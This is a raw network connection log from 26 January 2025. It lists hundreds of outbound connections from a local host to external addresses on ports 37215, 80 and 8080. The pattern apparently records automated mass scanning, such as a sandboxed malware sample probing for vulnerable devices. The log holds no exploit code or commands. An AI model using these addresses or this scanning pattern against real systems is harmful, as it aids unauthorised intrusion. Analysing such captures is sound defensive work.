Jan 26, 2025 01:43:30.917404890 CET	60210	37215	192.168.2.13	197.178.34.229
Jan 26, 2025 01:43:30.918355942 CET	37215	40932	197.189.115.165	192.168.2.13
Jan 26, 2025 01:43:30.918368101 CET	37215	51718	197.136.80.170	192.168.2.13
Jan 26, 2025 01:43:30.918463945 CET	37215	60170	197.49.59.211	192.168.2.13
Jan 26, 2025 01:43:30.918548107 CET	42412	80	192.168.2.13	95.108.183.50
Jan 26, 2025 01:43:30.919112921 CET	37215	60088	197.63.131.165	192.168.2.13
Jan 26, 2025 01:43:30.919125080 CET	37215	33326	197.78.233.228	192.168.2.13
Jan 26, 2025 01:43:30.919132948 CET	37215	49906	197.86.111.94	192.168.2.13
Jan 26, 2025 01:43:30.919142962 CET	37215	41440	197.132.79.190	192.168.2.13
Jan 26, 2025 01:43:30.919151068 CET	37215	42502	197.110.145.161	192.168.2.13
Jan 26, 2025 01:43:30.919158936 CET	37215	33350	197.223.172.238	192.168.2.13
Jan 26, 2025 01:43:30.919167042 CET	37215	49734	197.207.29.141	192.168.2.13
Jan 26, 2025 01:43:30.919174910 CET	37215	52454	197.249.234.117	192.168.2.13
Jan 26, 2025 01:43:30.919183969 CET	37215	49278	197.61.149.58	192.168.2.13
Jan 26, 2025 01:43:30.919193983 CET	37215	50120	197.220.194.140	192.168.2.13
Jan 26, 2025 01:43:30.919203043 CET	37215	58756	197.21.99.87	192.168.2.13
Jan 26, 2025 01:43:30.919213057 CET	37215	44820	197.245.235.184	192.168.2.13
Jan 26, 2025 01:43:30.919223070 CET	37215	56192	197.225.76.202	192.168.2.13
Jan 26, 2025 01:43:30.919230938 CET	37215	37432	197.135.236.77	192.168.2.13
Jan 26, 2025 01:43:30.919239998 CET	37215	33928	197.51.53.77	192.168.2.13
Jan 26, 2025 01:43:30.919248104 CET	37215	54840	197.41.228.194	192.168.2.13
Jan 26, 2025 01:43:30.919255972 CET	37215	49050	197.13.192.111	192.168.2.13
Jan 26, 2025 01:43:30.919265032 CET	37215	58474	197.119.243.203	192.168.2.13
Jan 26, 2025 01:43:30.919354916 CET	45242	37215	192.168.2.13	197.205.49.198
Jan 26, 2025 01:43:30.920454025 CET	53332	37215	192.168.2.13	197.166.132.44
Jan 26, 2025 01:43:30.920454025 CET	53332	37215	192.168.2.13	197.166.132.44
Jan 26, 2025 01:43:30.920640945 CET	49652	80	192.168.2.13	95.91.65.111
Jan 26, 2025 01:43:30.921442986 CET	60310	37215	192.168.2.13	197.255.48.66
Jan 26, 2025 01:43:30.924524069 CET	37174	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:30.925283909 CET	37215	53332	197.166.132.44	192.168.2.13
Jan 26, 2025 01:43:30.925817966 CET	43126	80	192.168.2.13	95.88.190.166
Jan 26, 2025 01:43:30.927453041 CET	50056	80	192.168.2.13	95.69.54.205
Jan 26, 2025 01:43:30.929272890 CET	57664	80	192.168.2.13	95.124.121.103
Jan 26, 2025 01:43:30.929322004 CET	80	37174	95.192.161.253	192.168.2.13
Jan 26, 2025 01:43:30.929503918 CET	37174	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:30.930876017 CET	46778	80	192.168.2.13	95.91.92.144
Jan 26, 2025 01:43:30.931826115 CET	52254	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:30.932785988 CET	53566	80	192.168.2.13	95.114.45.33
Jan 26, 2025 01:43:30.933865070 CET	48990	80	192.168.2.13	95.255.31.254
Jan 26, 2025 01:43:30.934794903 CET	45078	80	192.168.2.13	95.133.209.227
Jan 26, 2025 01:43:30.935687065 CET	39124	80	192.168.2.13	95.21.157.0
Jan 26, 2025 01:43:30.936538935 CET	80	52254	95.137.4.152	192.168.2.13
Jan 26, 2025 01:43:30.936592102 CET	52254	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:30.936763048 CET	39506	80	192.168.2.13	95.103.245.236
Jan 26, 2025 01:43:30.938118935 CET	44622	80	192.168.2.13	95.217.180.253
Jan 26, 2025 01:43:30.939182043 CET	36486	80	192.168.2.13	95.168.4.212
Jan 26, 2025 01:43:30.940229893 CET	45562	80	192.168.2.13	95.40.136.67
Jan 26, 2025 01:43:30.941220999 CET	51214	80	192.168.2.13	95.34.45.233
Jan 26, 2025 01:43:30.942558050 CET	34650	80	192.168.2.13	95.161.115.91
Jan 26, 2025 01:43:30.943368912 CET	44940	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:30.944175005 CET	36380	80	192.168.2.13	95.75.151.188
Jan 26, 2025 01:43:30.945096016 CET	48862	80	192.168.2.13	95.177.253.80
Jan 26, 2025 01:43:30.945348978 CET	51502	8080	192.168.2.13	85.243.69.106
Jan 26, 2025 01:43:30.945348978 CET	35488	8080	192.168.2.13	95.104.250.159
Jan 26, 2025 01:43:30.945348978 CET	36346	8080	192.168.2.13	94.64.17.15
Jan 26, 2025 01:43:30.945358992 CET	41870	8080	192.168.2.13	95.25.160.108
Jan 26, 2025 01:43:30.945359945 CET	56642	8080	192.168.2.13	62.228.45.172
Jan 26, 2025 01:43:30.945372105 CET	51306	8080	192.168.2.13	31.96.60.86
Jan 26, 2025 01:43:30.945373058 CET	55362	8080	192.168.2.13	94.129.192.191
Jan 26, 2025 01:43:30.945373058 CET	39464	8080	192.168.2.13	31.227.75.220
Jan 26, 2025 01:43:30.945383072 CET	58542	8080	192.168.2.13	62.239.195.88
Jan 26, 2025 01:43:30.945384026 CET	57144	8080	192.168.2.13	62.218.241.254
Jan 26, 2025 01:43:30.945386887 CET	51420	8080	192.168.2.13	62.181.31.63
Jan 26, 2025 01:43:30.945386887 CET	60084	8080	192.168.2.13	31.12.228.181
Jan 26, 2025 01:43:30.945386887 CET	60538	8080	192.168.2.13	95.222.120.36
Jan 26, 2025 01:43:30.945421934 CET	58948	8080	192.168.2.13	62.8.157.116
Jan 26, 2025 01:43:30.946208954 CET	39686	80	192.168.2.13	95.48.32.17
Jan 26, 2025 01:43:30.947339058 CET	48796	80	192.168.2.13	95.38.212.25
Jan 26, 2025 01:43:30.948208094 CET	80	44940	95.47.224.193	192.168.2.13
Jan 26, 2025 01:43:30.948235989 CET	39360	80	192.168.2.13	95.67.13.251
Jan 26, 2025 01:43:30.948259115 CET	44940	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:30.949143887 CET	51448	80	192.168.2.13	95.37.177.156
Jan 26, 2025 01:43:30.949995995 CET	56380	80	192.168.2.13	95.111.127.45
Jan 26, 2025 01:43:30.950952053 CET	55750	80	192.168.2.13	95.48.55.222
Jan 26, 2025 01:43:30.951894999 CET	42418	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.952979088 CET	45522	80	192.168.2.13	95.19.56.47
Jan 26, 2025 01:43:30.954133987 CET	47004	80	192.168.2.13	95.120.134.77
Jan 26, 2025 01:43:30.955074072 CET	45350	80	192.168.2.13	95.180.168.54
Jan 26, 2025 01:43:30.956311941 CET	60200	80	192.168.2.13	95.171.206.124
Jan 26, 2025 01:43:30.956696033 CET	80	42418	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:30.956748009 CET	42418	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.957403898 CET	44762	80	192.168.2.13	95.146.243.156
Jan 26, 2025 01:43:30.963015079 CET	37215	60170	197.49.59.211	192.168.2.13
Jan 26, 2025 01:43:30.963027954 CET	37215	51718	197.136.80.170	192.168.2.13
Jan 26, 2025 01:43:30.963037968 CET	37215	40932	197.189.115.165	192.168.2.13
Jan 26, 2025 01:43:30.966979980 CET	37215	53332	197.166.132.44	192.168.2.13
Jan 26, 2025 01:43:30.973347902 CET	37608	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:30.973350048 CET	58322	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:30.973350048 CET	47370	8080	192.168.2.13	62.20.141.9
Jan 26, 2025 01:43:30.973360062 CET	34150	8080	192.168.2.13	31.113.74.251
Jan 26, 2025 01:43:30.973368883 CET	50184	8080	192.168.2.13	85.105.229.32
Jan 26, 2025 01:43:30.973368883 CET	46026	8080	192.168.2.13	95.234.19.241
Jan 26, 2025 01:43:30.973391056 CET	49276	8080	192.168.2.13	31.114.77.56
Jan 26, 2025 01:43:30.973391056 CET	37530	8080	192.168.2.13	95.26.2.15
Jan 26, 2025 01:43:30.973393917 CET	48880	8080	192.168.2.13	95.150.174.55
Jan 26, 2025 01:43:30.973393917 CET	34092	8080	192.168.2.13	94.217.35.140
Jan 26, 2025 01:43:30.973393917 CET	56620	8080	192.168.2.13	85.251.61.162
Jan 26, 2025 01:43:30.973393917 CET	42826	8080	192.168.2.13	95.192.55.72
Jan 26, 2025 01:43:30.973397970 CET	54728	8080	192.168.2.13	95.224.186.189
Jan 26, 2025 01:43:30.973397970 CET	36292	8080	192.168.2.13	85.50.3.138
Jan 26, 2025 01:43:30.973397970 CET	40196	8080	192.168.2.13	94.204.11.236
Jan 26, 2025 01:43:30.973397970 CET	40654	8080	192.168.2.13	85.224.96.150
Jan 26, 2025 01:43:30.973402977 CET	51184	8080	192.168.2.13	95.31.184.235
Jan 26, 2025 01:43:30.974178076 CET	33980	80	192.168.2.13	95.54.85.104
Jan 26, 2025 01:43:30.975302935 CET	47562	80	192.168.2.13	112.218.117.206
Jan 26, 2025 01:43:30.975307941 CET	47562	80	192.168.2.13	112.242.220.4
Jan 26, 2025 01:43:30.975308895 CET	47562	80	192.168.2.13	112.176.67.39
Jan 26, 2025 01:43:30.975346088 CET	47562	80	192.168.2.13	112.244.174.8
Jan 26, 2025 01:43:30.975346088 CET	47562	80	192.168.2.13	112.26.52.250
Jan 26, 2025 01:43:30.975347996 CET	47562	80	192.168.2.13	112.163.217.65
Jan 26, 2025 01:43:30.975366116 CET	47562	80	192.168.2.13	112.193.244.184
Jan 26, 2025 01:43:30.975373983 CET	47562	80	192.168.2.13	112.233.176.223
Jan 26, 2025 01:43:30.975378990 CET	47562	80	192.168.2.13	112.133.63.51
Jan 26, 2025 01:43:30.975404024 CET	47562	80	192.168.2.13	112.103.143.222
Jan 26, 2025 01:43:30.975469112 CET	47562	80	192.168.2.13	112.129.43.21
Jan 26, 2025 01:43:30.975486994 CET	47562	80	192.168.2.13	112.179.80.105
Jan 26, 2025 01:43:30.975491047 CET	47562	80	192.168.2.13	112.111.126.251
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.68.249.241
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.161.225.198
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.224.230.168
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.80.112.179
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.98.26.76
Jan 26, 2025 01:43:30.975497961 CET	47562	80	192.168.2.13	112.162.242.16
Jan 26, 2025 01:43:30.975533962 CET	47562	80	192.168.2.13	112.34.233.233
Jan 26, 2025 01:43:30.975538969 CET	47562	80	192.168.2.13	112.181.29.90
Jan 26, 2025 01:43:30.975562096 CET	47562	80	192.168.2.13	112.138.248.18
Jan 26, 2025 01:43:30.975562096 CET	47562	80	192.168.2.13	112.8.20.119
Jan 26, 2025 01:43:30.975570917 CET	47562	80	192.168.2.13	112.230.102.166
Jan 26, 2025 01:43:30.975579023 CET	47562	80	192.168.2.13	112.183.187.60
Jan 26, 2025 01:43:30.975601912 CET	47562	80	192.168.2.13	112.16.130.118
Jan 26, 2025 01:43:30.975605965 CET	47562	80	192.168.2.13	112.146.71.141
Jan 26, 2025 01:43:30.975609064 CET	47562	80	192.168.2.13	112.254.140.47
Jan 26, 2025 01:43:30.975609064 CET	47562	80	192.168.2.13	112.235.130.45
Jan 26, 2025 01:43:30.975610018 CET	47562	80	192.168.2.13	112.127.172.124
Jan 26, 2025 01:43:30.975641012 CET	47562	80	192.168.2.13	112.103.12.120
Jan 26, 2025 01:43:30.975655079 CET	47562	80	192.168.2.13	112.49.105.50
Jan 26, 2025 01:43:30.975682974 CET	47562	80	192.168.2.13	112.9.15.206
Jan 26, 2025 01:43:30.975714922 CET	47562	80	192.168.2.13	112.235.69.251
Jan 26, 2025 01:43:30.975714922 CET	47562	80	192.168.2.13	112.162.129.5
Jan 26, 2025 01:43:30.975735903 CET	47562	80	192.168.2.13	112.82.211.245
Jan 26, 2025 01:43:30.975735903 CET	47562	80	192.168.2.13	112.193.107.207
Jan 26, 2025 01:43:30.975747108 CET	47562	80	192.168.2.13	112.249.217.66
Jan 26, 2025 01:43:30.975759983 CET	47562	80	192.168.2.13	112.125.38.101
Jan 26, 2025 01:43:30.975770950 CET	47562	80	192.168.2.13	112.244.194.227
Jan 26, 2025 01:43:30.975799084 CET	47562	80	192.168.2.13	112.175.33.32
Jan 26, 2025 01:43:30.975799084 CET	47562	80	192.168.2.13	112.65.244.148
Jan 26, 2025 01:43:30.975801945 CET	47562	80	192.168.2.13	112.202.146.156
Jan 26, 2025 01:43:30.975804090 CET	47562	80	192.168.2.13	112.149.215.121
Jan 26, 2025 01:43:30.975807905 CET	47562	80	192.168.2.13	112.12.77.227
Jan 26, 2025 01:43:30.975836039 CET	47562	80	192.168.2.13	112.206.22.73
Jan 26, 2025 01:43:30.975841999 CET	47562	80	192.168.2.13	112.66.97.45
Jan 26, 2025 01:43:30.975843906 CET	47562	80	192.168.2.13	112.236.84.201
Jan 26, 2025 01:43:30.975862026 CET	47562	80	192.168.2.13	112.223.130.109
Jan 26, 2025 01:43:30.975892067 CET	47562	80	192.168.2.13	112.49.113.230
Jan 26, 2025 01:43:30.975893974 CET	47562	80	192.168.2.13	112.250.224.15
Jan 26, 2025 01:43:30.975909948 CET	47562	80	192.168.2.13	112.243.70.88
Jan 26, 2025 01:43:30.975912094 CET	47562	80	192.168.2.13	112.248.146.219
Jan 26, 2025 01:43:30.975915909 CET	47562	80	192.168.2.13	112.24.94.69
Jan 26, 2025 01:43:30.975940943 CET	47562	80	192.168.2.13	112.161.21.250
Jan 26, 2025 01:43:30.975950956 CET	47562	80	192.168.2.13	112.0.230.2
Jan 26, 2025 01:43:30.975992918 CET	47562	80	192.168.2.13	112.36.16.31
Jan 26, 2025 01:43:30.975994110 CET	47562	80	192.168.2.13	112.224.173.129
Jan 26, 2025 01:43:30.976017952 CET	47562	80	192.168.2.13	112.81.125.54
Jan 26, 2025 01:43:30.976051092 CET	47562	80	192.168.2.13	112.71.69.209
Jan 26, 2025 01:43:30.976051092 CET	47562	80	192.168.2.13	112.212.83.92
Jan 26, 2025 01:43:30.976052046 CET	47562	80	192.168.2.13	112.157.188.253
Jan 26, 2025 01:43:30.976052046 CET	47562	80	192.168.2.13	112.103.104.253
Jan 26, 2025 01:43:30.976070881 CET	47562	80	192.168.2.13	112.227.7.206
Jan 26, 2025 01:43:30.976070881 CET	47562	80	192.168.2.13	112.80.81.52
Jan 26, 2025 01:43:30.976094961 CET	47562	80	192.168.2.13	112.159.241.56
Jan 26, 2025 01:43:30.976103067 CET	47562	80	192.168.2.13	112.77.6.247
Jan 26, 2025 01:43:30.976129055 CET	47562	80	192.168.2.13	112.235.105.88
Jan 26, 2025 01:43:30.976144075 CET	47562	80	192.168.2.13	112.54.20.157
Jan 26, 2025 01:43:30.976164103 CET	47562	80	192.168.2.13	112.137.100.3
Jan 26, 2025 01:43:30.976165056 CET	47562	80	192.168.2.13	112.115.126.3
Jan 26, 2025 01:43:30.976171017 CET	47562	80	192.168.2.13	112.27.16.37
Jan 26, 2025 01:43:30.976181984 CET	47562	80	192.168.2.13	112.252.222.202
Jan 26, 2025 01:43:30.976197958 CET	47562	80	192.168.2.13	112.161.131.83
Jan 26, 2025 01:43:30.976198912 CET	47562	80	192.168.2.13	112.231.145.149
Jan 26, 2025 01:43:30.976198912 CET	47562	80	192.168.2.13	112.56.29.62
Jan 26, 2025 01:43:30.976198912 CET	47562	80	192.168.2.13	112.31.242.69
Jan 26, 2025 01:43:30.976198912 CET	47562	80	192.168.2.13	112.130.228.16
Jan 26, 2025 01:43:30.976198912 CET	47562	80	192.168.2.13	112.158.242.143
Jan 26, 2025 01:43:30.976239920 CET	47562	80	192.168.2.13	112.124.245.45
Jan 26, 2025 01:43:30.976242065 CET	47562	80	192.168.2.13	112.46.150.63
Jan 26, 2025 01:43:30.976242065 CET	47562	80	192.168.2.13	112.69.123.241
Jan 26, 2025 01:43:30.976270914 CET	47562	80	192.168.2.13	112.128.58.210
Jan 26, 2025 01:43:30.976284981 CET	47562	80	192.168.2.13	112.70.200.40
Jan 26, 2025 01:43:30.976284981 CET	47562	80	192.168.2.13	112.175.65.169
Jan 26, 2025 01:43:30.976300001 CET	47562	80	192.168.2.13	112.41.184.96
Jan 26, 2025 01:43:30.976306915 CET	47562	80	192.168.2.13	112.215.36.143
Jan 26, 2025 01:43:30.976310015 CET	47562	80	192.168.2.13	112.115.250.147
Jan 26, 2025 01:43:30.976325989 CET	47562	80	192.168.2.13	112.96.130.233
Jan 26, 2025 01:43:30.976325989 CET	47562	80	192.168.2.13	112.246.112.207
Jan 26, 2025 01:43:30.976342916 CET	47562	80	192.168.2.13	112.105.69.252
Jan 26, 2025 01:43:30.976344109 CET	47562	80	192.168.2.13	112.20.49.240
Jan 26, 2025 01:43:30.976362944 CET	47562	80	192.168.2.13	112.168.180.251
Jan 26, 2025 01:43:30.976375103 CET	47562	80	192.168.2.13	112.59.168.10
Jan 26, 2025 01:43:30.976382017 CET	47562	80	192.168.2.13	112.71.7.159
Jan 26, 2025 01:43:30.976381063 CET	47562	80	192.168.2.13	112.70.69.149
Jan 26, 2025 01:43:30.976419926 CET	47562	80	192.168.2.13	112.186.74.100
Jan 26, 2025 01:43:30.976433039 CET	47562	80	192.168.2.13	112.252.225.242
Jan 26, 2025 01:43:30.976459026 CET	47562	80	192.168.2.13	112.180.27.59
Jan 26, 2025 01:43:30.976460934 CET	47562	80	192.168.2.13	112.148.219.181
Jan 26, 2025 01:43:30.976460934 CET	47562	80	192.168.2.13	112.229.214.173
Jan 26, 2025 01:43:30.976476908 CET	47562	80	192.168.2.13	112.249.89.132
Jan 26, 2025 01:43:30.976501942 CET	47562	80	192.168.2.13	112.205.141.111
Jan 26, 2025 01:43:30.976502895 CET	47562	80	192.168.2.13	112.57.129.124
Jan 26, 2025 01:43:30.976502895 CET	47562	80	192.168.2.13	112.91.199.233
Jan 26, 2025 01:43:30.976505995 CET	47562	80	192.168.2.13	112.115.40.60
Jan 26, 2025 01:43:30.976505995 CET	47562	80	192.168.2.13	112.53.53.86
Jan 26, 2025 01:43:30.976551056 CET	47562	80	192.168.2.13	112.32.55.217
Jan 26, 2025 01:43:30.976552010 CET	47562	80	192.168.2.13	112.89.170.184
Jan 26, 2025 01:43:30.976586103 CET	47562	80	192.168.2.13	112.231.48.44
Jan 26, 2025 01:43:30.976589918 CET	47562	80	192.168.2.13	112.248.62.78
Jan 26, 2025 01:43:30.976589918 CET	47562	80	192.168.2.13	112.190.132.240
Jan 26, 2025 01:43:30.976591110 CET	47562	80	192.168.2.13	112.97.57.17
Jan 26, 2025 01:43:30.976629019 CET	47562	80	192.168.2.13	112.110.112.173
Jan 26, 2025 01:43:30.976634979 CET	47562	80	192.168.2.13	112.127.205.15
Jan 26, 2025 01:43:30.976660013 CET	47562	80	192.168.2.13	112.98.131.150
Jan 26, 2025 01:43:30.976660967 CET	47562	80	192.168.2.13	112.27.153.88
Jan 26, 2025 01:43:30.976660967 CET	47562	80	192.168.2.13	112.137.217.130
Jan 26, 2025 01:43:30.976691008 CET	47562	80	192.168.2.13	112.8.38.174
Jan 26, 2025 01:43:30.976722002 CET	47562	80	192.168.2.13	112.31.67.163
Jan 26, 2025 01:43:30.976726055 CET	47562	80	192.168.2.13	112.237.142.161
Jan 26, 2025 01:43:30.976732016 CET	47562	80	192.168.2.13	112.197.79.70
Jan 26, 2025 01:43:30.976748943 CET	47562	80	192.168.2.13	112.119.58.124
Jan 26, 2025 01:43:30.976763010 CET	47562	80	192.168.2.13	112.11.227.32
Jan 26, 2025 01:43:30.976788044 CET	47562	80	192.168.2.13	112.245.140.163
Jan 26, 2025 01:43:30.976788044 CET	47562	80	192.168.2.13	112.72.75.68
Jan 26, 2025 01:43:30.976793051 CET	47562	80	192.168.2.13	112.99.173.163
Jan 26, 2025 01:43:30.976802111 CET	47562	80	192.168.2.13	112.177.192.0
Jan 26, 2025 01:43:30.976810932 CET	47562	80	192.168.2.13	112.155.75.159
Jan 26, 2025 01:43:30.976810932 CET	47562	80	192.168.2.13	112.17.221.26
Jan 26, 2025 01:43:30.976810932 CET	47562	80	192.168.2.13	112.239.34.133
Jan 26, 2025 01:43:30.976810932 CET	47562	80	192.168.2.13	112.109.17.253
Jan 26, 2025 01:43:30.976830959 CET	47562	80	192.168.2.13	112.23.11.233
Jan 26, 2025 01:43:30.976862907 CET	47562	80	192.168.2.13	112.84.146.56
Jan 26, 2025 01:43:30.976866007 CET	47562	80	192.168.2.13	112.205.30.253
Jan 26, 2025 01:43:30.976886034 CET	47562	80	192.168.2.13	112.253.225.30
Jan 26, 2025 01:43:30.976886034 CET	47562	80	192.168.2.13	112.60.70.193
Jan 26, 2025 01:43:30.976914883 CET	47562	80	192.168.2.13	112.16.109.176
Jan 26, 2025 01:43:30.976918936 CET	47562	80	192.168.2.13	112.133.174.167
Jan 26, 2025 01:43:30.976922989 CET	47562	80	192.168.2.13	112.108.13.113
Jan 26, 2025 01:43:30.976952076 CET	47562	80	192.168.2.13	112.232.174.117
Jan 26, 2025 01:43:30.976952076 CET	47562	80	192.168.2.13	112.27.32.45
Jan 26, 2025 01:43:30.976953030 CET	47562	80	192.168.2.13	112.163.76.14
Jan 26, 2025 01:43:30.976953030 CET	47562	80	192.168.2.13	112.45.92.123
Jan 26, 2025 01:43:30.976972103 CET	47562	80	192.168.2.13	112.116.159.191
Jan 26, 2025 01:43:30.976989985 CET	47562	80	192.168.2.13	112.65.231.202
Jan 26, 2025 01:43:30.976994038 CET	47562	80	192.168.2.13	112.202.115.108
Jan 26, 2025 01:43:30.976999044 CET	47562	80	192.168.2.13	112.29.131.228
Jan 26, 2025 01:43:30.977022886 CET	47562	80	192.168.2.13	112.182.232.37
Jan 26, 2025 01:43:30.977041006 CET	47562	80	192.168.2.13	112.69.143.54
Jan 26, 2025 01:43:30.977041006 CET	47562	80	192.168.2.13	112.210.106.147
Jan 26, 2025 01:43:30.977051020 CET	47562	80	192.168.2.13	112.189.175.197
Jan 26, 2025 01:43:30.977061987 CET	47562	80	192.168.2.13	112.148.110.219
Jan 26, 2025 01:43:30.977078915 CET	47562	80	192.168.2.13	112.129.174.169
Jan 26, 2025 01:43:30.977116108 CET	47562	80	192.168.2.13	112.86.77.133
Jan 26, 2025 01:43:30.977119923 CET	47562	80	192.168.2.13	112.135.97.251
Jan 26, 2025 01:43:30.977149010 CET	47562	80	192.168.2.13	112.122.226.199
Jan 26, 2025 01:43:30.977149010 CET	47562	80	192.168.2.13	112.124.24.169
Jan 26, 2025 01:43:30.977149963 CET	47562	80	192.168.2.13	112.179.246.18
Jan 26, 2025 01:43:30.977149010 CET	47562	80	192.168.2.13	112.33.134.198
Jan 26, 2025 01:43:30.977365971 CET	49250	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:30.977365971 CET	49250	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:30.978390932 CET	49696	80	192.168.2.13	95.90.79.245
Jan 26, 2025 01:43:30.978631973 CET	8080	37608	85.69.54.70	192.168.2.13
Jan 26, 2025 01:43:30.978646994 CET	8080	58322	94.48.123.79	192.168.2.13
Jan 26, 2025 01:43:30.978693962 CET	37608	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:30.978698015 CET	58322	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:30.978990078 CET	58322	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:30.979007959 CET	58322	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:30.979160070 CET	42170	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:30.979160070 CET	42170	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:30.979757071 CET	42602	80	192.168.2.13	95.14.30.220
Jan 26, 2025 01:43:30.980032921 CET	59270	8080	192.168.2.13	94.48.123.79
Jan 26, 2025 01:43:30.980600119 CET	37300	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:30.980600119 CET	37300	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:30.981385946 CET	37726	80	192.168.2.13	95.80.141.230
Jan 26, 2025 01:43:30.982069969 CET	37608	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:30.982069969 CET	37608	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:30.982173920 CET	80	49250	95.90.79.245	192.168.2.13
Jan 26, 2025 01:43:30.982323885 CET	45220	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:30.982323885 CET	45220	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:30.982945919 CET	45636	80	192.168.2.13	95.94.250.224
Jan 26, 2025 01:43:30.983268023 CET	38560	8080	192.168.2.13	85.69.54.70
Jan 26, 2025 01:43:30.983753920 CET	8080	58322	94.48.123.79	192.168.2.13
Jan 26, 2025 01:43:30.983911991 CET	35920	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.983911991 CET	35920	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.984091043 CET	80	42170	95.14.30.220	192.168.2.13
Jan 26, 2025 01:43:30.984471083 CET	36254	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.985385895 CET	80	37300	95.80.141.230	192.168.2.13
Jan 26, 2025 01:43:30.985405922 CET	33270	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:30.985405922 CET	33270	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:30.985913038 CET	33460	80	192.168.2.13	95.17.140.187
Jan 26, 2025 01:43:30.986382008 CET	42456	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:30.986382008 CET	42456	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:30.986783981 CET	42632	80	192.168.2.13	95.138.51.12
Jan 26, 2025 01:43:30.986886978 CET	8080	37608	85.69.54.70	192.168.2.13
Jan 26, 2025 01:43:30.987104893 CET	80	45220	95.94.250.224	192.168.2.13
Jan 26, 2025 01:43:30.987282991 CET	51634	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:30.987282991 CET	51634	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:30.987656116 CET	51800	80	192.168.2.13	95.26.98.137
Jan 26, 2025 01:43:30.988384008 CET	37174	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:30.988384008 CET	37174	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:30.988720894 CET	80	35920	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:30.988759995 CET	37258	80	192.168.2.13	95.192.161.253
Jan 26, 2025 01:43:30.989279985 CET	80	36254	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:30.989295006 CET	52254	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:30.989295006 CET	52254	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:30.989336967 CET	36254	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.989690065 CET	52330	80	192.168.2.13	95.137.4.152
Jan 26, 2025 01:43:30.990187883 CET	44940	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:30.990187883 CET	44940	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:30.990298033 CET	80	33270	95.17.140.187	192.168.2.13
Jan 26, 2025 01:43:30.990582943 CET	44996	80	192.168.2.13	95.47.224.193
Jan 26, 2025 01:43:30.991030931 CET	42418	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.991030931 CET	42418	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.991130114 CET	80	42456	95.138.51.12	192.168.2.13
Jan 26, 2025 01:43:30.991372108 CET	42458	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.992057085 CET	36254	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.992094994 CET	80	51634	95.26.98.137	192.168.2.13
Jan 26, 2025 01:43:30.993062019 CET	38810	80	192.168.2.13	95.13.112.234
Jan 26, 2025 01:43:30.993190050 CET	80	37174	95.192.161.253	192.168.2.13
Jan 26, 2025 01:43:30.994004011 CET	80	52254	95.137.4.152	192.168.2.13
Jan 26, 2025 01:43:30.994962931 CET	80	44940	95.47.224.193	192.168.2.13
Jan 26, 2025 01:43:30.995780945 CET	80	42418	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:30.996169090 CET	80	42458	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:30.996228933 CET	42458	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.996252060 CET	42458	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:30.996841908 CET	80	36254	95.21.30.214	192.168.2.13
Jan 26, 2025 01:43:30.996879101 CET	36254	80	192.168.2.13	95.21.30.214
Jan 26, 2025 01:43:30.996997118 CET	56448	80	192.168.2.13	95.78.170.9
Jan 26, 2025 01:43:31.001708031 CET	80	42458	95.123.127.118	192.168.2.13
Jan 26, 2025 01:43:31.001770020 CET	42458	80	192.168.2.13	95.123.127.118
Jan 26, 2025 01:43:31.005354881 CET	38092	8080	192.168.2.13	95.105.105.34
Jan 26, 2025 01:43:31.005356073 CET	35660	8080	192.168.2.13	94.45.209.46
Jan 26, 2025 01:43:31.005354881 CET	45206	8080	192.168.2.13	85.84.236.254
